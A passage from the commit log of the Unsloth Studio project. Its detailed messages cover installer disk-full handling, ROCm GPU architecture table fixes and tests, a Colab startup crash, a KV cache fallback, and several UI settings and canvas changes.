  so `raise ... from None` over an unrelated ENOSPC reported disk full and
  wrongly suppressed the source build.
- TemporaryDirectory now ignores cleanup errors: an rmtree failure on the way
  out replaced the in-flight SystemExit and lost EXIT_NO_SPACE.
- setup.sh skips the arm64 CPU last resort after exit 4; it re-ran the same
  disk-rejected installer and buried the hint under a second error dump.
- The in-app updater turns exit 4 into a readable message instead of
  "installer exited 4" plus a log tail.

Adds tests/studio/install/test_llama_prebuilt_no_space.py covering the
classifier, the advisory warning and the exit codes.

* Fix Python 3.9 breakage and Windows disk-full detection in the out-of-disk guard

Found by running the guard across the whole supported interpreter range
(requires-python is >=3.9,<3.15) and a spoofed [Linux, WSL, macOS, Windows] x
[NVIDIA, AMD, CPU] host matrix.

- TemporaryDirectory(ignore_cleanup_errors = True) is 3.10+, so the previous
  commit raised TypeError at install time on 3.9 and turned a working install
  into a hard failure. Replaced with a scratch_dir() contextmanager built on
  mkdtemp plus rmtree(ignore_errors = True), which behaves the same on every
  supported version.
- getattr(exc, "winerror", None) crashed on 3.9. urllib's HTTPError is an
  OSError that proxies unknown attributes to a wrapped file object and raises
  KeyError, which getattr does not swallow, so any mirror 404 during an install
  would have blown up inside the classifier. Read it defensively instead.
- Classify Windows disk-full by winerror as well as errno. CPython's
  PC/errmap.h maps ERROR_DISK_FULL (112) to ENOSPC but has no case for
  ERROR_HANDLE_DISK_FULL (39), which arrives as EINVAL, so a Windows
  os.replace() onto a full disk read as an ordinary failure and fell through to
  the source build.

Tests cover both winerror codes, a non-disk winerror, and HTTPError alone and
wrapped in a PrebuiltFallback. 116 simulation cases pass on 3.9 through 3.14.

* Classify quota, flattened Windows and validate-install out-of-disk for PR #7420

- EDQUOT counts as out of space: a quota'd home has free blocks this user
  cannot have, so the source build is just as doomed. Reported separately so
  df does not mislead. Confirmed end to end with a real kernel EDQUOT: the
  installer went from 6 retries then a source build (exit 2) to exit 4.
- Match the flattened Windows disk-full text. copytree stringifies each
  per-file OSError, and OSError.__str__ returns early on winerror, so the
  text reads [WinError 112] and never [Errno 28]. Captured on a real NTFS
  volume. Markers are bracketed so WinError 112 does not match WinError 1120.
- --validate-install now exits 4 on a full disk. It caught PrebuiltFallback
  and exited 2 before the classifier ran, and setup.sh answered 2 by deleting
  the GPU build that had just succeeded and starting a CPU rebuild that needs
  more of the space that ran out. Both halves are needed: the call site only
  tested nonzero.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Tighten comments in the llama.cpp out-of-disk guard

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
2026-07-26 00:11:38 -07:00
Michael Han
0220104f51
Add Agents settings tab for unsloth start (#7303)
* Add Agents settings tab for unsloth start

Adds a Settings > Agents tab documenting the `unsloth start` command:
quickstart, supported agents with click-to-copy commands, model
selection, common options, remote Studio setup, argument pass-through,
and a dry-run preview. Agent CLIs found on PATH are badged as installed.

Also removes the "New" badge from the System and Chat tabs.

* Use official brand logos for agents, invert Ollama and OpenRouter in dark mode

Claude Code and OpenAI Codex now use the Anthropic and OpenAI logos from
the provider-logos registry; agents without an official asset keep the
monogram tile. Also inverts the Ollama and OpenRouter logos in dark mode
so their monochrome marks stay visible.

* Title Agents tab "Agents (unsloth start)" and move it below Connections

The in-tab header now reads "Agents (unsloth start)" while the sidebar
label stays "Agents". Reorders the tab to sit below Connections.

* Address review: guard PATH detection, fix copy timeout, OS-aware remote snippet

- Only probe agent PATH in the desktop app on a loopback backend, so
  Installed badges are not driven by a remote server's environment.
- Show the "none found" note only when detection actually ran and
  returned empty, not when the call failed.
- Share one copy hook that resets its timeout on rapid clicks and clears
  it on unmount.
- Render the Remote Studio snippet with PowerShell syntax on Windows.
- Note that --no-launch can still load a model when --model is set.
- Drop unused quickstart translation keys.

* Use client OS for remote commands, fix copy a11y and model wording (#7303)

- Pick the remote snippet shell from the client platform, not the server deviceType
- Single-line the model examples so they paste in POSIX, PowerShell and cmd
- Split the pass-through block into independent one-command copies
- Derive detection visibility instead of clearing state in the effect
- Announce copy success to assistive tech
- Correct the quickstart/model copy: bare start uses the loaded model

* Agents tab: flag the Codex row when the loaded model is not GGUF

* Agents tab: target the active Studio server, wrap narrow rows, index the tab's search terms

* Agents tab: build copied commands from the browser-reachable Studio and show the key placeholder

* Agents tab: index the intro for agent-name searches and keep long commands inside the panel

* Agents tab: omit --api-key so the CLI can replay a saved key for the base

* Agents tab: label the indexed heading rows and fall back to the active desktop API base

* Agents tab: name every supported agent in the indexed intro for PR #7303

* Tighten the agents tab comments for PR #7303

* Build the agents tab example commands from the active Studio base for PR #7303

* Take the agent command shell from the Studio host for PR #7303

* Pick the command shell from where the CLI runs for PR #7303

---------

Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-26 00:09:53 -07:00
Michael Han
671d6dbf69
Settings: match dialog fills to the app shell surfaces (#7457)
* Settings: match dialog fills to the app shell surfaces

Tabs use the sidebar fill and the content pane uses the page fill, so
both track the active palette in light and dark.

* Pair the tab column fill with the sidebar foreground

Custom themes set --foreground but not --sidebar, so search result rows
could land white on white. Track the sidebar token instead.
2026-07-26 00:01:22 -07:00
Michael Han
bac04ab577
Add drag and drop sources to the create project dialog (#7441)
* feat(studio): add drag and drop sources to create project

Files dropped on the create-project dialog upload to the new project's
sources as soon as it exists, so a project can start with context instead
of needing a second trip to the Sources tab.

The sidebar and projects page dialogs now reuse NewProjectDialog rather
than each keeping their own copy, and the OCR / caption ingest overrides
move to a shared helper so every upload path sends the same settings.

* fix(studio): harden project source drops

Drops are not filtered by the `accept` attribute the way the picker is, so a
folder or an image would stage and then fail server-side with a confusing
per-file error. Unsupported entries are now refused up front with one message.

Cancel bypassed the dialog's reset, so a discarded name and its staged files
came back on reopen and uploaded into the next project created. Every close
path now goes through one handler.

Long filenames lost their extension in _sanitize_filename and were then
rejected as an unsupported type; the stem is trimmed instead. Adds backend
tests for the project scope, the sanitizer and path stripping.

* fix(studio): address second review pass on source drops

A drop landing on the panel while uploads run was not cancelled, because
pointer-events-none took the panel out of hit testing and nothing else on the
page cancels a file drop. The browser would navigate to the file and kill the
uploads in flight. Drag defaults are now cancelled even while disabled, and the
files are ignored instead.

Name, size and mtime can match for two genuinely different files, so a skipped
duplicate now says so rather than disappearing.

A slow upload could resolve after the dialog unmounted and still navigate,
pulling the user off the page they had moved to. Post-upload work is gated on
the component still being mounted.

* fix(studio): make source drops safe under StrictMode replay

The mount sentinel was only cleared in effect cleanup, so StrictMode's
setup/cleanup/setup replay left it false for good and every create in a dev
build stopped short of closing the dialog or navigating. It is now set on
setup as well.

The pending-sources marker was consumed inside a useState initializer, which
React replays, so the discarded pass ate the flag and the project opened on
Chats. Reading is now a peek and the marker is dropped in an effect.

Identical bytes under two names collapse to one document server-side, which
looked like both files had been added. The upload loop now tracks returned
document ids and says when files were merged.

* fix(studio): guard the route and storage around staged uploads

The sidebar's dialog lives in the root layout and never unmounts on a route
change, so the mount check alone could not stop a slow upload from navigating
the user back to the new project. The route is captured when create is pressed
and compared afterwards, and callers get that answer so the sidebar can still
move a chat while leaving the user where they are.

Reading the vision-pass overrides went straight at localStorage, which throws
outright where storage is blocked. That happened before the upload loop, so a
project was created and every staged source was lost. It now falls back to the
backend defaults, matching loadOptionalBool in the chat runtime store.
2026-07-25 23:54:48 -07:00
Michael Han
8dffde9611
Sidebar: settings gear above the profile in the collapsed rail (#7458)
The profile-row cog is hidden when the rail collapses, leaving no way to
reach settings without opening the account menu.
2026-07-25 23:09:48 -07:00
Michael Han
0a2a4e2e32
Settings: widen dialog to 960px and raise height to 680px (#7456)
Also caps the height at the viewport instead of pinning it, so short
viewports no longer get a clipped dialog.
2026-07-25 22:46:53 -07:00
alkinun
97475be347
fix(studio): support hostname-based enterprise proxies (#7416)
* fix(studio): support hostname-based enterprise proxies

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* fix(studio): strip userinfo from proxy fetch targets

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
2026-07-26 02:53:00 +01:00
Leo Borcherding
3ea6d14c39
AMD: CI coverage for recent fixes, plus three wrong gfx ids (#7431)
* ROCm/AMD CI coverage: arch-table parity, native-Linux lib prepend, RDNA4 grouped_mm, discovery-based shell suite

Three merged ROCm fixes shipped without tests, and the CI wiring that
would have run them was gated on files the fixes do not touch.

Tests added (113):
  tests/studio/install/test_rocm_arch_table_parity.py (27)
    diffs the four duplicated gfx -> AMD pip-index tables across
    install.sh, install.ps1, studio/setup.ps1 and install_python_stack.py,
    plus the GPU-name -> arch tables and the torch 2.11 pin allowlist.
  tests/studio/install/test_rocm_native_linux_lib_dirs.py (26)
    covers #7233: system-ROCm lib dirs prepended ahead of bundled
    libggml-hip, the /dev/kfd + not-WSL + libhsa gate, the opt-out env
    var, root resolution order, and source parity between the two copies.
  studio/backend/tests/test_grouped_mm_rdna4_fallback.py (46)
    covers #7292: registration on the CUDA dispatch key, grouped and
    ungrouped numerics, bias/dtype promotion, and the Linux HIP<7.13 +
    RDNA4 name gate, executed from the shipped source rather than a copy.
  tests/studio/test_ci_shell_suite_coverage.py (14)
    fails if either shell runner goes back to a hardcoded list or skips
    a file without a recorded reason.

CI wiring:
  studio-backend-ci.yml: add install.sh / install.ps1 to the path filter
    (the suites it runs assert against those two files, so install-only
    changes -- the shape most AMD/ROCm routing fixes take -- skipped it),
    and replace the 13-file hardcoded shell list with directory
    discovery. That list had fallen seven files behind, including
    test_strixhalo_wsl_reroute.sh, the only shell coverage of the ROCm
    WSL reroute, which had never run on a PR.
  tests/run_all.sh: same discovery loop so local and CI agree.

* Test review fixes: assert on outcomes, not on the code under test

Self-review of the previous commit found four tests that passed for the
wrong reason.

1. The arch-table parity test pinned expected gfx ids copied out of the
   shipped tables, which enshrined three upstream inaccuracies as
   correct: RX 9070 (non-XT) is gfx1201 not gfx1200, RX 7800 XT is
   gfx1101 not gfx1100, and PRO V710 is gfx1101 not gfx1102 per AMD's
   ROCm compatibility matrix. The expectation is now the AMD pip index
   leaf -- the thing the tables exist to produce, and what a wrong
   answer costs the user. The three known drifts are listed explicitly
   with a test asserting they stay cosmetic, i.e. that the wrong and
   right ids still map to the same wheel index. That test turns red the
   day one of them starts routing users to the wrong wheel.

2. The RDNA4 device-name test extracted the regex from worker.py and
   then matched with it, so it could not fail. Widening the pattern --
   the dangerous edit, since it forces the slow Python mm fallback onto
   RDNA3 users -- would have been silently accepted. It now reads the
   live pattern and checks it against fixed cases, plus asserts the
   name match stays guarded by `not _lin_arch` and that the name is
   lowercased before matching.

3. The CI-coverage test matched a verbatim line of studio-backend-ci.yml,
   so reindenting the step would fail the build while a real regression
   to a hardcoded list could slip past a reformat. It now parses the
   YAML, finds the step by name, and asserts on the glob plus the
   absence of individual filenames. The path-filter test likewise reads
   the parsed trigger instead of scanning raw text.

4. A set comprehension in the parity helper had a ternary whose branches
   were identical.

Mutation-tested: widening the RDNA4 regex, desyncing one copy of the
name table, dropping install.sh from the path filter, and re-skipping
the ROCm WSL shell suite each fail at least two tests. Verified on
Linux (WSL Ubuntu 24.04) with CI's torch pin: 86 + 48 pass.

* Fix three wrong gfx ids in the GPU-name arch tables

The name -> gfx tables disagreed with AMD's ROCm compatibility matrix on
three entries. Corrected against the "Radeon GPU" list at
rocm.docs.amd.com/en/latest/compatibility/compatibility-matrix.html:

  RX 9070, RX 9070 GRE   gfx1200 -> gfx1201   (Navi 48, same die as the XT)
  RX 7800 XT, RX 7700 XT gfx1100 -> gfx1101   (Navi 32, not Navi 31)
  PRO W7700              gfx1100 -> gfx1101
  PRO V710               gfx1102 -> gfx1101   (Navi 32, not Navi 33)

No wheel changes for anyone: gfx1200/gfx1201 both resolve to gfx120X-all
and gfx1100/gfx1101/gfx1102 all resolve to gfx110X-all, in all four copies
of the index-family map. That collapse is why the errors survived being
copied into six places -- the leaf-level tests could not see them.

It was not purely cosmetic, though. install.sh's second copy feeds
"Tip: set UNSLOTH_ROCM_GFX_ARCH=<arch>", so a 7800 XT user following the
printed advice exported gfx1100 and made a wrong id authoritative for
every later run. It would also have become a real misroute the moment AMD
split a family across index leaves, as they already do for gfx1151/gfx1150.

Fixed in all six places, which is two more than the table's own "kept in
sync with" comments claim exist:

  install.sh   _infer_amd_gfx_arch_from_gpu_name
  install.sh   case "$_gpu_disp_mkt"          (banner + env tip; undocumented)
  studio/setup.sh
  install.ps1
  studio/setup.ps1
  studio/install_python_stack.py

Ordering is preserved: the gfx1102 arm still precedes gfx1101 in the shell
copies so "RX 7700S" cannot fall onto the "RX 7700" glob, and the
PowerShell copies keep the (?!S) lookahead.

Test changes:
  - test_rocm_arch_table_parity.py gains _AMD_DOCUMENTED_ARCH, exact gfx
    ids transcribed from AMD rather than from the tables. Agreement between
    six copies proves nothing when all six were transcribed from the same
    mistake, so the ground truth has to come from outside. Verified it
    catches the bug: against the pre-fix tables it fails 6 tests.
  - The parity check now covers all six copies. It had four; the two
    install.sh copies were being treated as one, and
    _WIN_GPU_NAME_ARCH_TABLE was not checked at all.
  - test_rocm_support.py's TestGfxArchNameFallback pinned two of the wrong
    ids as expected values; updated, and extended with a 9060 XT and a
    7900 XTX case so each RDNA3/4 die is represented.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Guard against unregistered copies of the GPU-name arch table

Counting the copies by hand is what let them drift: the in-code "kept in
sync with" comments claimed four, the arch-id fix found six, and scanning
the tree turns up a seventh.

TestNoUnregisteredArchTable rediscovers the copies from the source tree
instead of trusting a hand-maintained list. A table line is one that names
a card and gives its arch; real tables score 9-17 such lines and the only
other hits in the repo are two single-line prose comments, so the
three-line threshold is not load-bearing. A companion test asserts the
scan still finds the known copies, so the heuristic cannot go blind and
pass by finding nothing.

The seventh copy is tests/_zoo_rocm_spoof.py, the fixture other ROCm tests
build their fake AMD host from. It states the mapping backwards (gfx ->
the name torch should report), which makes it an independent witness: it
had gfx1101 -> RX 7800 XT and gfx1201 -> RX 9070 XT right while all six
installer copies were wrong, and nothing compared the two. Now they are
round-tripped against each other.

RX 6700 XT is pinned as a known divergence rather than normalised. AMD's
compatibility matrix documents no consumer RX 6000 card and no gfx1031 at
all, the installer arm is commented "gfx103X family", and gfx1031 appears
only as an index-family key, never as a value a name table emits. With no
external source to correct against, changing shipped behaviour would be
guesswork. A test fails if the divergence ever disappears, so the
exemption cannot go stale.

Also adds the reverse of the AMD-matrix check: a documented card that
matches no arm anywhere is a silent CPU fallback rather than a wrong id.
This cannot detect hardware nobody transcribed, which would need a live
fetch of AMD's matrix and a non-hermetic suite; the docstring says so
rather than implying coverage that is not there.

Verified on Linux: 478 passed, plus all five new guards mutation-tested
to confirm each fails when its invariant is broken.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Docstring said six copies; the list under it now has seven

* tests: run discovered shell tests with bash, not sh

tests/run_all.sh discovered tests/sh/ instead of listing files, but still
invoked each one with sh. Every file there declares a bash shebang, and on
Debian/Ubuntu /bin/sh is dash: test_apt_distro_prompt.sh,
test_studio_home_node_dir.sh and test_with_llama_cpp_dir_link_behavior.sh
fail on bashisms under dash and pass under bash. The old hand-written list
happened to name only dash-clean files, so switching to discovery is what
surfaced it. Backend CI already used bash, so this was a local-only break.

Guarded by a new test asserting both runners invoke tests/sh/ with bash.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Fix Krackan Point (Radeon 860M/840M) routed to the gfx1150 wheel index

The GPU-name tables map 860M/840M and the Ryzen AI 7 350 / AI 5 340 CPU
strings to gfx1150, but Krackan Point is gfx1152. AMD's own lemonade table
(src/cpp/server/system_info.cpp) maps both Krackan iGPUs to gfx1152.

Unlike the three ids already fixed here, this one is not wheel-neutral:
repo.amd.com publishes gfx1150 and gfx1152 as separate index leaves with
separately built torch wheels, so these laptops were installing wheels
built for a different LLVM target. gfx1152 was absent from the codebase
entirely, so it needed the index-family maps, the torch 2.11 floor lists
(same _grouped_mm bug as gfx1150/1151), the Strix reroute set and the
Windows arch allowlist as well as the seven name tables.

The parity test added in this PR did not catch it because its AMD-matrix
expectations stopped at 890M/880M. Added the APU rows, so the case that
actually changes a wheel is now covered: reverting the tables fails 9
tests naming 860M, 840M and Krackan.

gfx1153 (Ryzen AI 5 430 era) is left alone; AMD publishes no gfx1153
wheel family, so there is nothing to route it to.

Verified: bash -n on both shell installers, PowerShell AST parse on both
.ps1 files, python ast.parse on all touched modules, install suite 1334
passed with no new failures against main, shell suite 20 files.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Add gfx1152 to unified-memory classifiers, make parity allowlist set-based

Krackan Point (gfx1152, Radeon 860M/840M) is the third RDNA 3.5 APU and
shares one GPU/system-RAM pool exactly like Strix Point (gfx1150) and
Strix Halo (gfx1151), but only the installers knew about it. The two
runtime classifiers still had two-element arch sets, so a Krackan laptop
got the 0.90 discrete headroom factor on a shared pool and ran llama.cpp
without GGML_CUDA_ENABLE_UNIFIED_MEMORY.

- worker.py _rocm_classify_unified_memory: add gfx1152 to the arch set,
  and 860m/840m to the device-name fallback. The NVIDIA GeForce 840M
  cannot collide there: the function is only reached under _hw.IS_ROCM.
- llama_cpp.py _amd_apu_wants_unified_memory: add gfx1152 to the arch set.
- Tests for both, including the :sramecc-:xnack- suffix form.

TestGfx211AllowlistParity compared four hardcoded allowlist strings, so
adding gfx1152 to all four installers correctly turned three assertions
red without any installer actually disagreeing with another. Each test
now extracts the set its installer holds and compares it to one EXPECTED
constant. Order and spacing are free, membership is not, and the next
leaf is a one-line edit instead of four.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
2026-07-25 18:58:02 -05:00
Daniel Han
85f6231a2f
tests: anchor the gguf ordering assertion on the branch that owns the marker (#7443)
_load_model_impl contains more than one `if config.is_gguf:`, so
source.index() returned the earlier one, which belongs to a different check
than the branch the assertion is reasoning about. The inheritance call sits at
line 4543, the earlier branch at 4508 and the branch holding the load marker at
4567, so the comparison read 186995 < 185014 and failed on main.

The branch is now located from the load marker itself, which is the landmark
the rest of the test already relies on, so the assertion compares the
inheritance call against the branch that actually guards it. The slice used by
the following assertions is anchored the same way, which also tightens them:
they previously searched from the earlier branch to end of file.

The invariant is unchanged and still has teeth: moving the inheritance call
after the branch makes the assertion fail.

Co-authored-by: danielhanchen <unslothai@gmail.com>
2026-07-25 04:42:33 -07:00
Daniel Han
c4b777263d
fix(studio/colab): fix OutStream startup crash and tidy the notebook cards (#7404)
* fix(studio/colab): survive ipykernel OutStream close() during startup

Unsloth Studio crashed at server startup on Colab with:

  Unsloth Studio failed to start: 'OutStream' object has no attribute
  'watch_fd_thread'

Root cause:
- Colab's ipykernel OutStream is created with watchfd=False, so it never
  gains a watch_fd_thread. The OutStream.close() in the affected ipykernel
  versions joins that thread unconditionally and raises AttributeError
  (ipython/ipykernel#867).
- _setup_server_disk_logging() replaces sys.stdout/sys.stderr with a tee.
  That changes the console object identity, so Colab's absl logging handler
  (which captured the original OutStream and whose close() deliberately skips
  sys.stdout/sys.stderr) no longer treats it as the live console.
- run_server builds uvicorn.Config(...), whose configure_logging runs
  logging.config.dictConfig -> logging.shutdown, closing every existing
  handler. The absl handler then calls close() on the orphaned OutStream and
  the AttributeError propagates out of uvicorn.Config and aborts startup.

Fix:
- Before installing the tee, harden the displaced console streams' close() so
  only the ipykernel#867 AttributeError is swallowed; a healthy close() runs
  unchanged and any other error still propagates. The buggy close() raises
  before it nulls pub_thread, so the stream stays fully usable.
- Give _TeeStream its own close() that flushes the log copy and forwards
  close() to the wrapped console stream best-effort, so a handler that
  captured the tee cannot crash startup either.

Add regression tests reproducing the exact path (an absl-style handler closing
a watchfd=False OutStream stand-in during logging.shutdown) and asserting the
tee/console path survives and keeps logging.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Show the Colab login password in the shareable link card

* Tighten Colab card comments for PR #7404

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Make the Colab tunnel URL clickable and emphasise the password

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Narrow the console close() hardening to the watch_fd_thread AttributeError

* Put the Colab password on its own line so selection excludes the label

* Keep the Colab password as plain selectable text

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-25 04:11:03 -07:00
Daniel Han
2d026a1184
Studio: reset quantized KV cache to f16 when the flash-attn-off crash-recovery fallback fires (#7390)
* Studio: reset quantized KV cache to f16 when flash-attn-off fallback fires

Studio force-enables --flash-attn on for GGUF launches. On a hard startup
or first-decode crash it retries via _with_flash_attn_off, which flipped FA
off but left --cache-type-k/-v untouched. A quantized KV cache (q8_0, q4_0,
q4_1, q5_0, q5_1, iq4_nl) requires flash attention in llama.cpp, so the retry
itself aborted at init with 'V cache quantization requires flash_attn' instead
of recovering.

Reset any quantized --cache-type-k/-v to f16 in the FA-off fallback path so
the retry can actually launch. Non-quantized types (f16, bf16, f32) run fine
without flash attention and are left unchanged. Handles long and short flag
forms and both space and equals syntax, rewriting in place to preserve list
length. Adds pytest coverage.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: FA-off fallback resets only the quantized V cache and drops env-only V cache

Only the V cache requires flash attention in llama.cpp; a quantized K cache
runs fine without it. Restrict the FA-off crash-recovery reset to the V axis
(main and draft) so a memory-constrained config keeps its quantized K cache
instead of risking an OOM on the recovery. Also drop an inherited quantized V
cache set purely through the environment (LLAMA_ARG_CACHE_TYPE_V /
LLAMA_ARG_SPEC_DRAFT_CACHE_TYPE_V) at the FA-off retry sites, which the argv
rewrite cannot reach, so the child falls back to the f16 default rather than
aborting.

* Studio: normalize underscore V-cache aliases in the FA-off fallback

llama.cpp rewrites '_' to '-' for any '--' long option before matching,
so a pass-through --cache_type_v q8_0 enables a quantized V cache just
like --cache-type-v. The FA-off crash-recovery reset only matched the
hyphenated spelling, so the underscore alias slipped through and the
retry still aborted with "V cache quantization requires flash_attn".
Canonicalize the flag name the same way before matching (short flags and
the type value are untouched).

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-25 04:10:44 -07:00
oobabooga
b9d92c41b3
Studio: prevent long reasoning from jumping the chat on completion (#7388) 2026-07-25 03:35:03 -07:00
Souravrajvi0
dffea2af27
fix(studio): honor run settings on initial model load (#7346) (#7351)
* fix(studio): honor run settings on initial model load

When loading a model from the gear-icon run-settings page, Context Length
and KV Cache Dtype were ignored if the user clicked Load before blurring
the context field, or before React flushed staged config into the store.

- Add NumericValueInput.commit() to flush a focused draft on Load
- Pass effectiveLoadConfig from model-config-page to onRun
- Prefer selection.config in performLoad for all load knobs
- Preserve meta.forceReload from the config-page reload path

Fixes #7346

* fix(studio): flush NumericValueInput draft when Load blurs first

Clicking Load blurs the context field before handleRun runs, so commit()
returned the stale value prop. Keep draft in a ref and parse it even when
the input is no longer focused.

* fix(studio): preserve Auto context when Load is clicked without edits

NumericValueInput.commit() now returns null unless the user actually
changed the field, so GGUF Load/Save no longer pins the displayed native
context into customContextLength when Auto was left untouched.

* fix(studio): clear NumericValueInput dirty state after blur commit

After a normal blur commit, reset dirtyRef so a later Load cannot replay a
stale draftRef when the user changed context via Reset or the slider.

* test(studio): pin NumericValueInput Auto/dirty contracts for #7346

Lock Codex P1/P2: commit returns null unless dirty, blur clears dirtyRef,
and handleRun only promotes a non-null committed context.

* fix(studio): keep same-click context draft after blur (#7346)

Blur can commit and clear dirtyRef before Load's onClick; stash that
committed value for one imperative commit() so typed context is not lost.

* chore: refresh PR head for #7351

* fix(studio): handle context commit edge cases

* chore: refresh PR head

* test(studio): guard invalid context drafts

* style(studio): format context draft guard

* test(studio): exercise same-click model config loads

* fix(studio): drop stale blur pin when the typed context equals the shown value

NumericValueInput cached every blur commit in lastBlurCommittedRef, even when
the draft equalled the current value and no onChange was dispatched. Because the
displayed value never changed, the useEffect([value]) clear never fired, so a
later Reset or external edit that leaves the shown value unchanged could not drop
the cache and the next commit() replayed it into an override that Reset had
removed. Only cache the blur result when it actually dispatched onChange
(final !== value); when final === value the parent is already current and there
is nothing to bridge. Add a Playwright regression that re-types the shown context
and asserts no override is stored.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: commit every same-click numeric draft before staging the load config

The run-settings Load/Reload button flushed only the GGUF Context Length draft
imperatively before building the load config. Max Seq Length (non-GGUF), GPU
Layers and MoE Layers on CPU (GGUF) are the same NumericValueInput and stage
their typed value only on blur, so editing one and clicking Load in the same
gesture staged the load from a still-stale parent config and dropped the value
the user just typed.

Wire an imperative commit handle through those inputs too and fold every
committed draft into the effective config, recomputing the non-GGUF load-time
max sequence length from the committed draft.

* fix(studio): recompute fixed-layer context pin and drop stale blur cache on every render

Two run-settings edge cases on the model-config page:

1) pinFixedLayerContext was computed from the render-time config, before a
   same-click GPU Layers draft is committed in handleRun. Typing a positive
   fixed-layer value on an auto-fit GGUF and clicking Reload therefore built
   the runtime config with customContextLength: null, so a later fresh load
   sent the native context with fixed layers (the OOM the pin exists to
   avoid). Recompute the pin from the committed effectiveConfig.

2) NumericValueInput cleared its blur bridge only on a value change. A real
   edit (final !== value) that Reset then reverts to the same shown number
   nets value back unchanged, so the effect never re-ran and the stale pin
   survived into the next Load/Save, replaying the override Reset removed.
   The bridge is only valid across the single synchronous same-click gesture
   that set it, so clear it on every settled render instead.

Add source-contract regressions for both.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: Unsloth <michaelhan@Michaels-MacBook-Pro.local>
Co-authored-by: Michael Han <107991372+shimmyshimmer@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-24 23:27:47 -07:00
Daniel Han
95f42bccee
tests: restore the inheritance-before-guard ordering assertion (#7251)
The gguf order fix that landed on main dropped the only assertion
covering the prerequisite that llama_extra_args inheritance runs before
the GGUF branch: the inherited value (a carried --no-mmproj) shapes the
hub guard's require_mmproj, so a future reorder could reject a load
over an mmproj download the inherited arguments would disable. The
comment also misattributed the inheritance site to
_guard_chat_load_against_training.

The assertion is restored anchored on the call form
"= _resolve_inherited_extra_args(", which pins the endpoint's call site
(the bare name would match the function definition, which always
precedes the endpoint, making the check vacuous), and the comment now
names the real inheritance site. 32 tests pass.
2026-07-24 22:34:48 -07:00
Leo Borcherding
478d30f361
Unsloth Studio (desktop): fix canvas preview, download file button, toast placement, and model-load typing lag (#7391)
* Studio desktop: fix loading-toast overlap and typing lag on model load

- Toaster: on desktop, offset toasts below the ~34px custom window titlebar
  (top 46 when isTauri) so they no longer cover the min/max/close controls.
  Web is unchanged (top 12).
- Model load: the 2s load poll wrote loadProgress state every tick, which
  re-renders the whole chat page during "Starting model" (cheap in Chrome,
  janky in the desktop WebView2 -> laggy typing). That state is only read by
  the dismissed-toast inline status, so gate all four poll branches to write
  it only when the inline view is live; while the toast is up it updates via
  Sonner alone.

* Studio desktop: fix HTML canvas preview, download, and panel offset

- CSP: add frame-src for localhost/127.0.0.1 so the desktop webview can
  frame the backend-served artifact preview. default-src 'self' (no
  frame-src) blocked it -> "127.0.0.1 refused to connect"; web is
  same-origin so it already worked.
- Download: route the canvas Download button through the native save
  dialog (downloadFile) instead of a blob-anchor click, which the Tauri
  WebView2 silently drops.
- Nudge the artifact panel down 8px so its top edge/shadow isn't tucked
  under the window top bar.

* Studio desktop: add HTML filter for native canvas save dialog

Canvas Download saves .html via save_native_file, but save_filter() had no
html/htm case, so the native dialog fell back to the JSON/CSV/etc filter and
could block saving/browsing the .html export. Add an HTML filter and include
html/htm in the catch-all. Addresses Codex review on #7391.

* Studio desktop: unblock canvas preview in dev shell + clear header fade

- Preview: the app CSP frame-src fix wasn't enough in the tauri dev shell.
  The preview endpoint sets its own frame-ancestors response header, which
  only allowed 'self' tauri://localhost http://tauri.localhost -- so the
  Vite dev origin (http://localhost:5173) was blocked and the frame stayed
  "refused to connect". Extend the allowlist with http://localhost:* and
  http://127.0.0.1:* (the endpoint only renders postMessage'd HTML in a
  no-same-origin sandbox, so it exposes no server resource).
- Shadow: the artifact panel toolbar sat under the full-width
  chat-header-fade; lower the panel top (mt 80->90px) so the controls clear
  the fade.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
2026-07-24 22:23:41 -05:00
Leo Borcherding
938e786eb9
Recipe Studio: full-height canvas and in-app maximize control (#7394)
* studio recipes: full-height canvas and in-app maximize control

- Recipe editor fills its container (drop the outer padding and the fixed
  75vh height); the canvas reaches the window edges
- Viewport controls: the fit button now reads as center (it always
  fit/centered); add an expand-to-full-view button that collapses the
  sidebar and maximizes the canvas in-app, toggling back to restore

* recipe studio: exit full view when leaving the editor tab

Addresses review: the Exit full view control lives inside the editor
